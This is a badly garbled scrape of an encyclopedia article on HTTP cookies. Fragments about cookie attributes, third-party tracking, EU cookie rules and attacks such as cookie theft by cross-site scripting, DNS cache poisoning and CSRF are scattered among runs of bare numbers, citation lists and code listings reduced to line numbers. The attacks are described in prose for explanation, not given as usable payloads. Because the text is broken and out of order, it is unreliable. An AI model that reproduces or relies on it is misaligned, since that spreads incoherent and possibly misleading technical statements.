As an example, the browser sends its first HTTP request for the homepage of the

1168: 951: 943: 722: 607: 575: 370: 343: 101: 5678: 4247:

Peng, Weihong; Cisna, Jennifer (2000). "HTTP Cookies, A Promising Technology".

3748: 3732: 3687: 7340: 7126: 7116: 7061: 7051: 6920: 6743: 6694: 6664: 6465: 6331: 4876: 3008: 2989:

Some web browser plugins include persistence mechanisms as well. For example,

2833: 2772: 2435: 2381: 2369: 2318: 1863: 1744: 1411: 1127: 1062: 1044: 939: 929: 750: 506: 397: 327: 17: 5593:"Consent Management Platforms Under the GDPR: Processors and/Or Controllers?" 5569: 5308: 3766: 3514: 3366: 817:

would allow third-party (cross-site) cookies, however, most browsers require

7175: 7170: 7031: 6864: 6859: 6820: 6789: 6784: 6748: 6689: 6542: 5352: 5335:

Proceedings of the 2020 CHI Conference on Human Factors in Computing Systems

5249: 4902: 3335:

Kristol, David M. (2001). "HTTP Cookies: Standards, Privacy, and Politics".

2883: 2861: 2327: 1807: 905: 587: 514: 149: 6326: 3603: 2097:

technically in a browser, through pressing 'accept', or both. In 2020, the

6306: 5299: 5282: 3358: 2489: 2407:

If an attacker is able to accomplish this, it is usually the fault of the

454: 7425: 7289: 7106: 7036: 6992: 6987: 6869: 6794: 6779: 5361: 5034:"Google can't quit third-party cookies—delays shut down for a third time" 4760: 4291:"Secure and efficient protection for HTTP cookies with self-verification" 4112: 3849: 3506: 2388:). Victims reading the attacker's message would download this image from 1491:

domain. In the former case, the cookie will only be sent for requests to

1122: 833: 510: 430:, are commonly used as ways to compile long-term records of individuals' 374: 335: 212: 207: 202: 197: 192: 187: 5283:"Personal data processing for behavioural targeting: which legal basis?" 3788:, vol. 13882, Cham: Springer Nature Switzerland, pp. 623–651, 3782:"Exploring the Cookieverse: A Multi-Perspective Analysis of Web Cookies" 3680:"Description of Persistent and Per-Session Cookies in Internet Explorer" 3528:

Jackson, T (12 February 1996). "This Bug in Your PC is a Smart Cookie".

3122: 1629:

header fields that were received from a website after a user logged in:

1582:(the domain is derived from the request domain). The other two cookies, 7385: 7370: 7244: 6982: 6915: 6733: 6634: 6263:

was created from a revision of this article dated 28 May 2016

5652: 5259: 3840: 3757: 1871: 1374: 729:). This makes the cookie less likely to be exposed to cookie theft via 632: in this section. Unsourced material may be challenged and removed. 339: 4327:

Rainie, Lee (2012). Networked: The New Social Operating System. p. 237

497:

Magic cookies were already used in computing when computer programmer

43: 7445: 7410: 7395: 7360: 7264: 7195: 7081: 7076: 7046: 6972: 6806: 6738: 6629: 6619: 6537: 6490: 4618: 4576: 4528: 4494: 4460: 4351: 4306: 3557: 2730: 1040: 459: 4734: 2721:

session mechanisms both use this method if cookies are not enabled.

2194:. Statements consisting only of original research should be removed. 1905:) tends to eliminate any negative effects of such cookie discovery. 765:(CSRF) attacks. A cookie is given this characteristic by adding the 5837: 5605: 5542: 5343: 3349: 2763:. Transferring session identifiers as HTTP cookies is more secure. 2509:

server. If the attacker's malicious posting is on an HTTPS website

446:" from users before storing non-essential cookies on their device. 7350: 7259: 6513: 6485: 6448: 5060:"Google's plan to turn off third-party cookies in Chrome is dying" 4081: 3825:"CookiExt: Patching the browser against session hijacking attacks" 3733:"A Survey on Web Tracking: Mechanisms, Implications, and Defenses" 2968: 2560: 2513:, secure cookies will also be sent to attacker.com in plain text. 2488: 2353: 2331: 2317: 1812: 1729: 1362: 1103: 453: 63: 4374:"Persistent client state HTTP cookies: Preliminary specification" 4006:"SameSite Cookie Changes in February 2020: What You Need to Know" 3303:

Kesan, Jey; Shah, Rajiv (19 August 2018). "Deconstructing Code".

2622:

of their Facebook friends and obtained cookies of 80 of them via

725:). They cannot be transmitted over unencrypted connections (i.e. 697:

For this reason, persistent cookies are sometimes referred to as

7279: 6825: 6508: 6443: 2801: 2776: 2741:

the first time, and then visits the same page by coming from an

2431: 1396:. The name of a cookie excludes the same characters, as well as 1142: 1118: 1070: 726: 486: 342:

and placed on the user's computer or other device by the user's

121: 116: 111: 106: 96: 91: 86: 77: 68: 35: 6946: 6563: 6387: 6349: 6345: 5240:

Adtech and Real-Time Bidding under European Data Protection Law

5237:

Veale, Michael; Zuiderveen Borgesius, Frederik (1 April 2021),

4981: 4519:

RFC 6265, HTTP State Management Mechanism, The Domain Attribute

1022:

been authenticated and grants the user access to its services.

27:

Small pieces of data stored by a web browser while on a website

6925: 6455: 6032: 3992:"Browser Compatibility Testing of 'SameSite' cookie attribute" 3926:"Using the Same-Site Cookie Attribute to Prevent CSRF Attacks" 2733:, those preferences will be used for that other user as well. 2718: 2697:

page request. This information can be used to track the user.

2356:

protocol) to encrypt the connection. A server can specify the

2334:). This traffic includes cookies sent on ordinary unencrypted 2221: 2159: 2118: 2089: 2085: 1932: 1766:

To view and selectively delete cookies using a cookie manager.

880:. This can be used to fake logins or change user information. 601: 349:

Cookies serve useful and sometimes essential functions on the

5954:"Fielding Dissertation: CHAPTER 6: Experience and Evaluation" 753:. This restriction eliminates the threat of cookie theft via 6241: 4567:

RFC 2109, HTTP State Management Mechanism, Set-Cookie syntax

4140:"Microsoft disables 'supercookies' used on MSN.com visitors" 2536:. For example, a victim is reading an attacker's posting on 357:

information (such as items added in the shopping cart in an

2950:, a more recent technique, claims to add another 5.7 bits. 1590:, would be used when the browser requests any subdomain in 721:

can only be transmitted over an encrypted connection (i.e.

4485:

RFC 6265, HTTP State Management Mechanism, Domain matching

4423:"Cookies, Set and retrieve information about your readers" 3896:"Same-Site Cookies draft-ietf-httpbis-cookie-same-site-00" 1806:

the user's browsing history and is used by advertisers to

1407:

is sometimes used to refer to a cookie's name–value pair.

1260:

sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT

836:

circumstances, Google postponed this change to Chrome 84.

781:

version 51 introduced a new kind of cookie with attribute

5157:. Information Commissioner's Office. 2012. Archived from 4169:

Englehardt, Steven; Edelstein, Arthur (26 January 2021).

3343:(2). Association for Computing Machinery (ACM): 151–198. 1773:

Add-on tools for managing cookie permissions also exist.

1698:

field match the values used when the cookie was created.

4982:"OK Google, don't delay real browser privacy until 2022" 4955:"Firefox starts blocking third-party cookies by default" 4641:"Cookies specification compatibility in modern browsers" 4197:"Zombie Cookie: The Tracking Cookie That You Can't Kill" 3625:"'HTTP State Management Mechanism' to Proposed Standard" 582:

header field which was called "Netscape-style cookies".

5238: 4817:"Clear Personal Information : Clear browsing data" 2926:

services in an effort to accurately measure real human

2183: 1664:

made_write_conn=1295214458; Path=/; Domain=.example.com

1418:

is used for this purpose. For example, the instruction

1414:

that run within the browser. In JavaScript, the object

1410:

Cookies can also be set by scripting languages such as

5923:"Security researcher finds 'cookiejacking' risk in IE" 2870:

ETags can be flushed in some browsers by clearing the

2784:

bookmark the page or send it via email, for example).

6341:

Check cookies for compliance with EU cookie directive

6340: 6291:, the current official specification for HTTP cookies 5503:"EU cookie law: stop whining and just get on with it" 2922:

configuration information has long been collected by

1299:

Next, the browser sends another request to visit the

1117:(memory of previous events) into otherwise stateless 5204: 5202: 3865:"'SameSite' cookie attribute, Chrome Platform tatus" 3415:"Usenet Post by Marc Andreessen: Here it is, world!" 7298: 7194: 7135: 7011: 6957: 6883: 6839: 6805: 6723: 6574: 6501: 6434: 6408: 6318:

at the Electronic Privacy Information Center (EPIC)

5744:"A Loophole Big Enough for a Cookie to Fit Through" 4451:

HTTP State Management Mechanism, The Path Attribute

1361:The value of a cookie may consist of any printable 1121:transactions. Without cookies, each retrieval of a 4031:"Temporarily rolling back SameSite Cookie Changes" 2037:Directive on Privacy and Electronic Communications 1769:To fully wipe all private data, including cookies. 1358:header field with an expiration date in the past. 5892:"Microsoft latest security risk: 'Cookiejacking'" 5281:Zuiderveen Borgesius, Frederik J. (August 2015). 5154:Privacy and Electronic Communications Regulations 2441:As an example, an attacker may post a message on 757:(XSS). However, the cookie remains vulnerable to 6095:. Electronic Frontier Foundation. Archived from 5337:. Chi '20. Honolulu HI USA: ACM. pp. 1–13. 5147: 5145: 2364:Publishing false sub-domain: DNS cache poisoning 749:cannot be accessed by client-side APIs, such as 5428:Update Report into Adtech and Real Time Bidding 3051:HTTP Strict Transport Security § Privacy issues 970:A cookie consists of the following components: 6254: 5860:. Archived from the original on 26 March 2014. 4761:"How to Manage Cookies in Internet Explorer 6" 4335: 4333: 4295:International Journal of Communication Systems 4113:"Tracking the Trackers: Microsoft Advertising" 3976:West, Mike; Wilander, John (7 December 2020). 2807:The downside is that every separate window or 2386:http://f12345.www.example.com/img_4_cookie.jpg 1826:. This website contains an advertisement from 6361: 3209:"Where cookie comes from :: DominoPower" 3093:"Gmail cookie stolen via Google Spreadsheets" 2563:connections, and the HTTPS protocol dictates 1747:), and therefore cannot be stolen easily via 1701:As of 2016 Internet Explorer did not support 1303:page on the website. This request contains a 872:, could maliciously affect a request made to 284: 8: 5704:11245.1/dfb59b54-0544-4c65-815a-640eae10668a 5124:"EU Cookie Directive, Directive 2009/136/EC" 4847:"Clear Personal Information: Delete cookies" 3271:"Giving Web a Memory Cost Its Users Privacy" 2867:also enhance the preservation of ETag data. 1842:and sets a cookie belonging to that domain ( 1838:, which also contains an advertisement from 1487:without a domain, and a cookie set with the 1155:Can support at least 3,000 cookies in total. 876:, even if the cookie did not originate from 694:another website (such as an advertisement). 5653:"P3P: The Platform for Privacy Preferences" 5534:ICT Systems Security and Privacy Protection 5094:"Spy Agency Removes Illegal Tracking Files" 3149:"New net rules set to make cookies crumble" 2979:while session storage behaves similarly to 2771:Another form of session tracking is to use 2404:-related cookies to the attacker's server. 2256:. Unsourced material may be challenged and 2153:Learn how and when to remove these messages 1065:of the computer requesting the page or the 938:is data and code that has been placed by a 916:as a means of tracking users across sites. 404:may allow a cookie's data to be read by an 6954: 6943: 6571: 6560: 6405: 6384: 6368: 6354: 6346: 5425:Information Commissioner's Office (2019). 4551:"Internet Explorer Cookie Internals (FAQ)" 4057:"Resuming SameSite Cookie Changes in July" 3980:(Report). Internet Engineering Task Force. 3541: 3539: 3330: 3328: 3326: 2780:neither part of the URL, nor of a cookie. 1834:). Then, the user visits another website, 1789:Web analytics § Problems with cookies 291: 277: 31: 5885: 5883: 5881: 5836: 5750:. The New York Times. 17 September 2010. 5702: 5604: 5541: 5360: 5342: 5298: 5258: 5248: 4617: 4609:RFC 6265, HTTP State Management Mechanism 4575: 4527: 4493: 4459: 4350: 4082:"Learn more about the Public Suffix List" 3848: 3756: 3623:Hodges, Jeff; Corry, Bil (6 March 2011). 3556: 3348: 2889:most up-to-date version of the resource. 2294:Learn how and when to remove this message 2276:Learn how and when to remove this message 2210:Learn how and when to remove this message 2035:In 2002, the European Union launched the 2023:Learn how and when to remove this message 1794:retrieval of these components are called 1460:cannot set a cookie that has a domain of 648:Learn how and when to remove this message 391:that a user is logged in, and with which 6271:, and does not reflect subsequent edits. 5232: 5230: 4564:Kristol, D.; Montulli, L. (March 2014). 4171:"Firefox 85 Cracks Down on Supercookies" 3978:Cookies: HTTP State Management Mechanism 3702:"Maintaining session state with cookies" 3495:Journal of Public Policy & Marketing 3086: 3084: 2372:to cache a fabricated DNS entry (called 733:. A cookie is made secure by adding the 537:in version 2, released in October 1995. 6122:"Window.sessionStorage, Web APIs | MDN" 4115:. The Center for Internet and Society. 3337:ACM Transactions on Internet Technology 3298: 3296: 3123:"What about the "EU Cookie Directive"?" 3062: 2832:Some users may be tracked based on the 427: 241: 220: 177: 134: 76: 34: 6132:from the original on 28 September 2015 6039:from the original on 26 September 2008 5863: 5478:"EUR-Lex - 62017CC0040 - EN - EUR-Lex" 5210:"EUR-Lex - 62017CN0673 - EN - EUR-Lex" 4181:from the original on 25 February 2024. 4119:from the original on 26 September 2011 2976: 2946:possible from browser fingerprinting. 2058:Court of Justice of the European Union 2049:Court of Justice of the European Union 1959:Please improve this section by adding 1141:Can support cookies as large as 4,096 6192:from the original on 16 December 2014 5987:from the original on 23 December 2008 5513:from the original on 15 November 2012 5420: 5418: 5398:"EUR-Lex - 32016R0679 - EN - EUR-Lex" 5392: 5390: 5324: 5322: 5320: 5318: 5130:from the original on 18 December 2012 5104:from the original on 12 November 2011 4767:from the original on 28 December 2008 3281:from the original on 18 November 2011 3250:from the original on 6 September 2017 2862:HTTP ETag § Tracking using ETags 2667:Authentication and session management 2501:attribute, thus replacing the string 2400:, victims' browsers would submit all 1822:As an example, suppose a user visits 1468:to control the cookies of the domain 1464:because this would allow the website 559:. A special working group within the 475:was coined by web-browser programmer 7: 6162:from the original on 11 January 2015 6006:Hoffman, Chris (28 September 2016). 5754:from the original on 26 January 2013 4909:from the original on 9 December 2014 4883:from the original on 9 December 2014 4269:Jim Manico quoting Daniel Stenberg, 4223:"The Cookie That Would Not Crumble!" 4138:Vijayan, Jaikumar (19 August 2011). 3712:from the original on 14 October 2012 3219:from the original on 19 October 2017 3129:from the original on 11 October 2017 3103:from the original on 9 December 2013 2254:adding citations to reliable sources 1148:Can support at least 50 cookies per 630:adding citations to reliable sources 387:are commonly used by web servers to 7508:Hypertext Transfer Protocol headers 5683:European Data Protection Law Review 4797:from the original on 3 January 2009 4741:from the original on 24 August 2011 4651:from the original on 2 October 2016 4429:from the original on 24 August 2011 4376:. Netscape. c. 1999. Archived from 3906:from the original on 16 August 2016 3604:later versions of the documentation 3470:from the original on 1 October 2005 3462:Hardmeier, Sandi (25 August 2005). 3269:Schwartz, John (4 September 2001). 3189:from the original on 24 August 2011 3159:from the original on 10 August 2018 2980: 2617:which allows the attacker to steal 2524:Cross-site scripting: proxy request 458:HTTP cookies share their name with 353:. They enable web servers to store 5960:from the original on 27 April 2011 5785:from the original on 27 April 2011 5181:"Cookies and similar technologies" 4857:from the original on 11 March 2009 4827:from the original on 11 March 2009 4421:Shannon, Ross (26 February 2007). 4111:Mayer, Jonathan (19 August 2011). 3894:Goodwin, M.; West (20 June 2016). 3635:from the original on 7 August 2016 3613:further to RFC 2965's deprecation. 3583:from the original on 16 March 2017 3464:"The history of Internet Explorer" 3421:from the original on 27 April 2011 3305:Yale Journal of Law and Technology 2420:Cross-site scripting: cookie theft 2368:If an attacker is able to cause a 2115:Cookie theft and session hijacking 2045:General Data Protection Regulation 1802:. This opens up the potential for 1420:document.cookie = "temperature=20" 913: 818: 586:was seldom used, however, and was 25: 6086:"How Unique Is Your Web Browser?" 5441:from the original on 13 May 2021. 5006:Protalinski, Emil (19 May 2020). 4682:from the original on 29 July 2016 4402:from the original on 5 April 2008 4195:; Tigas, Mike (14 January 2015). 3686:. 24 January 2007. Archived from 2134:This section has multiple issues. 2074:Information Commissioner's Office 1866:third-party cookies. Since 2020, 1858:Most modern web browsers contain 213:451 Unavailable for Legal Reasons 6253: 6084:Eckersley, Peter (17 May 2010). 6065:from the original on 5 June 2011 5902:from the original on 30 May 2011 5058:Lawler, Richard (22 July 2024). 4735:"The Unofficial Cookie FAQ v2.6" 4092:from the original on 14 May 2016 3091:Vamosi, Robert (14 April 2008). 3025: 3011: 2639:) software architectural style. 2226: 2164: 2123: 1937: 1751:(a pervasive attack technique). 1342:theme=light; sessionToken=abc123 848:is a cookie with an origin of a 606: 42: 6322:Mozilla Knowledge-Base: Cookies 5775:"How to Block Tracking Cookies" 5597:Privacy Technologies and Policy 4763:. Microsoft. 18 December 2007. 4342:HTTP State Management Mechanism 4271:Real world cookie length limits 4221:Stolze, Conrad (11 June 2011). 3875:from the original on 9 May 2016 3244:The Jargon File (version 4.4.7) 2942:measured at least 18.1 bits of 2688:The HTTP protocol includes the 2142:or discuss these issues on the 617:needs additional citations for 561:Internet Engineering Task Force 479:. It was derived from the term 221:Security access control methods 5979:Tilkov, Stefan (2 July 2008). 5921:Whitney, Lance (26 May 2011). 5773:Pegoraro, Rob (17 July 2005). 5287:International Data Privacy Law 4793:. Mozilla. 16 September 2008. 4791:Firefox Support Knowledge base 3786:Passive and Active Measurement 2930:and discount various forms of 2099:European Data Protection Board 2078:Interactive Advertising Bureau 856:) or a public suffix (such as 396:on whether the cookie data is 367:pages were visited in the past 1: 6152:"Introduction to Persistence" 5852:Zetter, Kim (23 March 2011). 5032:Amadeo, Ron (24 April 2024). 4928:Statt, Nick (24 March 2020). 4733:Whalen, David (8 June 2002). 4251:. Online Information Review. 4055:Schuh, Justin (28 May 2020). 3489:Miyazaki, Anthony D. (2008). 3445:Netscape Communications Corp. 2811:will initially have an empty 1961:secondary or tertiary sources 1808:serve relevant advertisements 1612:Wdy, DD Mon YYYY HH:MM:SS GMT 1212:The server responds with two 6301:Using cookies via ECMAScript 5552:10.1007/978-3-030-78120-0_14 3829:Journal of Computer Security 3794:10.1007/978-3-031-28486-1_26 2694:digest access authentication 1502:Below is an example of some 428:third-party tracking cookies 373:, such as names, addresses, 234:Digest access authentication 7518:Hacking (computer security) 6303:, Mozilla Developer Network 6297:, Mozilla Developer Network 6008:"What Is a Browser Cookie?" 5890:Finkle, Jim (25 May 2011). 5615:10.1007/978-3-030-76663-4_3 3706:Microsoft Developer Network 3033:Computer programming portal 2690:basic access authentication 2548:. Since the request is for 2190:the claims made and adding 1690:, has its value changed to 1616:Wdy, DD Mon YY HH:MM:SS GMT 703: 552:hearings in 1996 and 1997. 229:Basic access authentication 7539: 5126:. JISC Legal Information. 3749:10.1109/JPROC.2016.2637878 3655:"Set-Cookie2 - HTTP | MDN" 3041:Session (computer science) 2957: 2903: 2881: 2859: 2759:logging attacks and other 2577:Cross-site request forgery 2574: 2571:Cross-site request forgery 2423: 2409:Internet Service Providers 1890: 1786: 1780: 1276:since it does not have an 1164:Cookies are set using the 1054: 923: 828:to change that default to 821:on SameSite=None cookies. 803:cross-site request forgery 763:cross-site request forgery 505:, which was developing an 418:cross-site request forgery 7467: 7391:Internet Explorer for Mac 6953: 6942: 6570: 6559: 6404: 6383: 6307:How Internet Cookies Work 5870:: CS1 maint: unfit URL ( 4980:Brave (6 February 2020). 2934:. With the assistance of 2848:, are designed to retain 2655:, computer, and browser. 2643:Inaccurate identification 2445:with the following link: 1734:man-in-the-middle attacks 1594:on any path (for example 1422:creates a cookie of name 1016:unique session identifier 980:Zero or more attributes ( 948:Flash Local shared object 705: 408:, used to gain access to 4516:Barth, A. (March 2014). 4482:Barth, A. (March 2014). 3125:. WebCookies.org. 2013. 2788:window.name DOM property 2584: 2447: 2350:Transport Layer Security 2340:man-in-the-middle attack 1923:National Security Agency 1631: 1512: 1439:a cookie to the server. 1309: 1288:, is considered to be a 1272:, is considered to be a 1218: 1180: 914:the use of browser cache 785:with possible values of 550:Federal Trade Commission 402:Security vulnerabilities 265:HTTP parameter pollution 242:Security vulnerabilities 7503:Computer access control 5353:10.1145/3313831.3376321 4787:"Clearing private data" 3737:Proceedings of the IEEE 3077:. 17 July 2018. 117925. 2659:Alternatives to cookies 2511:https://www.example.com 503:Netscape Communications 260:HTTP response splitting 6249: 6225:Listen to this article 5952:Fielding, Roy (2000). 5695:10.21552/edpl/2017/3/9 5457:www.legifrance.gouv.fr 3001:has Isolated storage. 2844:some systems, such as 2815:property when opened. 2544:with the proxy server 2494: 2394:f12345.www.example.com 2390:f12345.www.example.com 2378:f12345.www.example.com 2323: 2108: 1948:relies excessively on 1819: 1109: 463: 385:Authentication cookies 322:) are small blocks of 255:HTTP request smuggling 6248: 6126:developer.mozilla.org 5250:10.31235/osf.io/wg8fq 4877:"Third party domains" 4522:. sec. 4.1.2.3. 4454:. sec. 4.1.2.4. 4175:Mozilla Security Blog 3690:on 25 September 2011. 3684:support.microsoft.com 3659:developer.mozilla.org 3629:The Security Practice 3359:10.1145/502152.502153 3238:Raymond, Eric (ed.). 2999:Microsoft Silverlight 2948:Canvas fingerprinting 2936:client-side scripting 2894:var userId = 3243242; 2613:is an attack against 2565:end-to-end encryption 2492: 2414:certificate authority 2321: 2314:Network eavesdropping 2103: 2088:specification called 2065:Privacy International 1816: 1800:banner advertisements 1580:docs.foo.com/accounts 1570:attribute, and has a 1394:whitespace characters 1292:since it contains an 1130:(unless the cookie's 1107: 805:(CSRF) attacks. With 679:non-persistent cookie 524:virtual shopping cart 460:a popular baked treat 457: 365:, or recording which 250:HTTP header injection 188:301 Moved Permanently 179:Response status codes 7376:IBM Home Page Reader 6280:More spoken articles 6061:. Mypage.direct.ca. 5981:"REST Anti-Patterns" 5100:. 29 December 2005. 3577:staff.washington.edu 3507:10.1509/jppm.27.1.19 2739:internal to the site 2630:Drawbacks of cookies 2426:Cross-site scripting 2250:improve this section 1749:cross-site scripting 769:flag to the cookie. 755:cross-site scripting 737:flag to the cookie. 626:improve this article 442:member states gain " 414:cross-site scripting 381:for subsequent use. 379:payment card numbers 5810:www.theregister.com 5300:10.1093/idpl/ipv011 4903:"Number of cookies" 4612:. sec. 5.1.1. 4570:. sec. 4.2.2. 4553:. 21 November 2018. 4488:. sec. 5.1.3. 4150:on 27 November 2014 3417:. 13 October 1994. 2995:Local shared object 2912:browser fingerprint 2900:Browser fingerprint 2684:HTTP authentication 2396:is a sub-domain of 2380:that points to the 2374:DNS cache poisoning 1929:EU cookie directive 1844:ad.foxytracking.com 1840:ad.foxytracking.com 1832:ad.foxytracking.com 1828:ad.foxytracking.com 1796:third-party cookies 1783:Third-party cookies 1709:Secure and HttpOnly 1621:Alternatively, the 1602:Expires and Max-Age 1152:(i.e. per website). 1092:Wall Street Journal 6250: 6182:"Isolated Storage" 6102:on 15 October 2014 5161:on 30 October 2012 4905:. WebCookies.org. 4879:. WebCookies.org. 4851:Google Chrome Help 4821:Google Chrome Help 4737:. Cookie Central. 4645:inikulin.github.io 4606:Barth, A. (2011). 4276:2013-07-02 at the 3930:www.netsparker.com 3841:10.3233/JCS-150529 3609:2017-03-16 at the 3395:on 7 December 2006 3275:The New York Times 2977:persistent cookies 2906:Device fingerprint 2850:Internet anonymity 2767:Hidden form fields 2701:URL (query string) 2624:social engineering 2534:same-origin policy 2495: 2324: 2175:possibly contains 1914:drug policy office 1820: 1777:Third-party cookie 1678:The first cookie, 1562:The first cookie, 1110: 1002:Session management 885:Public Suffix List 759:cross-site tracing 669:(also known as an 467:Origin of the name 464: 432:browsing histories 7490: 7489: 7463: 7462: 7459: 7458: 7146:Internet Explorer 6938: 6937: 6934: 6933: 6555: 6554: 6551: 6550: 6246: 5804:Claburn, Thomas. 5624:978-3-030-76662-7 5561:978-3-030-78119-4 5482:eur-lex.europa.eu 5402:eur-lex.europa.eu 5372:978-1-4503-6708-0 5214:eur-lex.europa.eu 4392:"Cookie Property" 4380:on 5 August 2007. 3803:978-3-031-28485-4 3573:"Setting Cookies" 3551:. sec. 8.3. 2761:security exploits 2615:Internet Explorer 2304: 2303: 2296: 2286: 2285: 2278: 2220: 2219: 2212: 2177:original research 2157: 2033: 2032: 2025: 2007: 1614:, or in the form 1574:attribute set to 1434:Cookie attributes 1290:persistent cookie 952:HTML5 Web storage 888:certain domains. 797:. With attribute 691:persistent cookie 685:Persistent cookie 658: 657: 650: 571:RFC 2965 added a 535:Internet Explorer 426:, and especially 301: 300: 16:(Redirected from 7530: 7513:Internet privacy 6955: 6944: 6670:Samsung Internet 6572: 6561: 6406: 6385: 6370: 6363: 6356: 6347: 6270: 6268: 6257: 6256: 6247: 6237: 6235: 6231: 6226: 6202: 6201: 6199: 6197: 6178: 6172: 6171: 6169: 6167: 6148: 6142: 6141: 6139: 6137: 6118: 6112: 6111: 6109: 6107: 6101: 6090: 6081: 6075: 6074: 6072: 6070: 6055: 6049: 6048: 6046: 6044: 6029: 6023: 6022: 6020: 6018: 6003: 5997: 5996: 5994: 5992: 5976: 5970: 5969: 5967: 5965: 5949: 5943: 5942: 5940: 5938: 5929:. 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Archived from 4135: 4129: 4128: 4126: 4124: 4108: 4102: 4101: 4099: 4097: 4086:Publicsuffix.org 4078: 4072: 4071: 4069: 4067: 4052: 4046: 4045: 4043: 4041: 4027: 4021: 4020: 4018: 4016: 4002: 3996: 3995: 3988: 3982: 3981: 3973: 3967: 3966: 3964: 3962: 3948: 3942: 3941: 3939: 3937: 3932:. 23 August 2016 3922: 3916: 3915: 3913: 3911: 3900:Ietf Datatracker 3891: 3885: 3884: 3882: 3880: 3869:Chromestatus.com 3861: 3855: 3854: 3852: 3820: 3814: 3813: 3812: 3810: 3777: 3771: 3770: 3760: 3743:(8): 1476–1510. 3728: 3722: 3721: 3719: 3717: 3698: 3692: 3691: 3676: 3670: 3669: 3667: 3665: 3651: 3645: 3644: 3642: 3640: 3620: 3614: 3599: 3593: 3592: 3590: 3588: 3579:. 19 June 2009. 3569: 3563: 3562: 3560: 3558:10.17487/RFC2109 3543: 3534: 3533: 3525: 3519: 3518: 3486: 3480: 3479: 3477: 3475: 3459: 3453: 3452: 3451: 3447: 3437: 3431: 3430: 3428: 3426: 3411: 3405: 3404: 3402: 3400: 3391:. Archived from 3385: 3379: 3378: 3352: 3332: 3321: 3320: 3300: 3291: 3290: 3288: 3286: 3266: 3260: 3259: 3257: 3255: 3235: 3229: 3228: 3226: 3224: 3205: 3199: 3198: 3196: 3194: 3175: 3169: 3168: 3166: 3164: 3155:. 8 March 2011. 3145: 3139: 3138: 3136: 3134: 3119: 3113: 3112: 3110: 3108: 3088: 3079: 3078: 3067: 3035: 3030: 3029: 3021: 3016: 3015: 2895: 2814: 2799: 2753:session fixation 2597: 2594: 2591: 2588: 2555: 2551: 2547: 2543: 2539: 2512: 2508: 2504: 2500: 2485: 2482: 2479: 2475: 2472: 2469: 2466: 2463: 2460: 2457: 2454: 2451: 2444: 2403: 2399: 2395: 2391: 2387: 2379: 2359: 2299: 2292: 2281: 2274: 2270: 2267: 2261: 2230: 2222: 2215: 2208: 2204: 2201: 2195: 2192:inline citations 2168: 2167: 2160: 2149: 2127: 2126: 2119: 2028: 2021: 2017: 2014: 2008: 2006: 1965: 1941: 1933: 1860:privacy settings 1845: 1841: 1837: 1833: 1829: 1825: 1755:Browser settings 1742: 1730:secure/encrypted 1727: 1720: 1716: 1704: 1697: 1689: 1685: 1681: 1674: 1671: 1668: 1665: 1662: 1659: 1656: 1653: 1650: 1647: 1644: 1641: 1638: 1635: 1628: 1624: 1617: 1613: 1609: 1597: 1593: 1589: 1585: 1581: 1577: 1573: 1569: 1565: 1558: 1555: 1552: 1549: 1546: 1543: 1540: 1537: 1534: 1531: 1528: 1525: 1522: 1519: 1516: 1509: 1505: 1498: 1494: 1490: 1486: 1482: 1478: 1471: 1467: 1463: 1459: 1454: 1450: 1421: 1417: 1399: 1391: 1387: 1383: 1379: 1372: 1368: 1357: 1353: 1346: 1343: 1340: 1337: 1334: 1331: 1328: 1325: 1322: 1319: 1316: 1313: 1306: 1302: 1295: 1283: 1279: 1264: 1261: 1258: 1255: 1252: 1249: 1246: 1243: 1240: 1237: 1234: 1231: 1228: 1225: 1222: 1215: 1208: 1205: 1202: 1199: 1196: 1193: 1190: 1187: 1184: 1177: 1167: 1160:Setting a cookie 1133: 991: 987: 982:name/value pairs 879: 875: 871: 863: 859: 855: 850:top-level domain 831: 819:secure attribute 816: 808: 800: 796: 792: 788: 784: 773:Same-site cookie 768: 747:http-only cookie 741:Http-only cookie 736: 709: 699:tracking cookies 675:transient cookie 671:in-memory cookie 653: 646: 642: 639: 633: 610: 602: 593: 585: 581: 574: 565:Brian Behlendorf 509:application for 444:informed consent 424:Tracking cookies 312:Internet cookies 293: 286: 279: 46: 32: 21: 7538: 7537: 7533: 7532: 7531: 7529: 7528: 7527: 7493: 7492: 7491: 7486: 7455: 7381:IBM WebExplorer 7294: 7190: 7131: 7007: 6949: 6930: 6879: 6835: 6801: 6719: 6566: 6547: 6497: 6430: 6400: 6379: 6374: 6332:Cookie Stealing 6284: 6283: 6272: 6266: 6264: 6261:This audio file 6258: 6251: 6242: 6239: 6233: 6229: 6228: 6224: 6221: 6211: 6206: 6205: 6195: 6193: 6180: 6179: 6175: 6165: 6163: 6150: 6149: 6145: 6135: 6133: 6120: 6119: 6115: 6105: 6103: 6099: 6088: 6083: 6082: 6078: 6068: 6066: 6057: 6056: 6052: 6042: 6040: 6031: 6030: 6026: 6016: 6014: 6005: 6004: 6000: 5990: 5988: 5978: 5977: 5973: 5963: 5961: 5951: 5950: 5946: 5936: 5934: 5933:on 14 June 2011 5920: 5919: 5915: 5905: 5903: 5889: 5888: 5879: 5862: 5851: 5850: 5846: 5830: 5829: 5825: 5815: 5813: 5812:. San Francisco 5803: 5802: 5798: 5788: 5786: 5781:. p. F07. 5779:Washington Post 5772: 5771: 5767: 5757: 5755: 5742: 5741: 5737: 5727: 5725: 5717: 5716: 5712: 5676: 5675: 5671: 5661: 5659: 5651: 5650: 5646: 5637: 5635: 5625: 5590: 5589: 5585: 5562: 5531: 5530: 5526: 5516: 5514: 5509:. 24 May 2012. 5501: 5500: 5496: 5486: 5484: 5476: 5475: 5471: 5461: 5459: 5451: 5450: 5446: 5438: 5431: 5424: 5423: 5416: 5406: 5404: 5396: 5395: 5388: 5373: 5328: 5327: 5316: 5280: 5279: 5275: 5236: 5235: 5228: 5218: 5216: 5208: 5207: 5200: 5190: 5188: 5179: 5178: 5174: 5164: 5162: 5151: 5150: 5143: 5133: 5131: 5122: 5121: 5117: 5107: 5105: 5092: 5091: 5087: 5082: 5078: 5068: 5066: 5057: 5056: 5052: 5042: 5040: 5031: 5030: 5026: 5016: 5014: 5005: 5004: 5000: 4990: 4988: 4979: 4978: 4974: 4964: 4962: 4953: 4952: 4948: 4938: 4936: 4927: 4926: 4922: 4912: 4910: 4901: 4900: 4896: 4886: 4884: 4875: 4874: 4870: 4860: 4858: 4845: 4844: 4840: 4830: 4828: 4815: 4814: 4810: 4800: 4798: 4785: 4784: 4780: 4770: 4768: 4759: 4758: 4754: 4744: 4742: 4732: 4731: 4727: 4717: 4715: 4714:on 25 June 2008 4711: 4704: 4700: 4699: 4695: 4685: 4683: 4669: 4668: 4664: 4654: 4652: 4639: 4638: 4634: 4605: 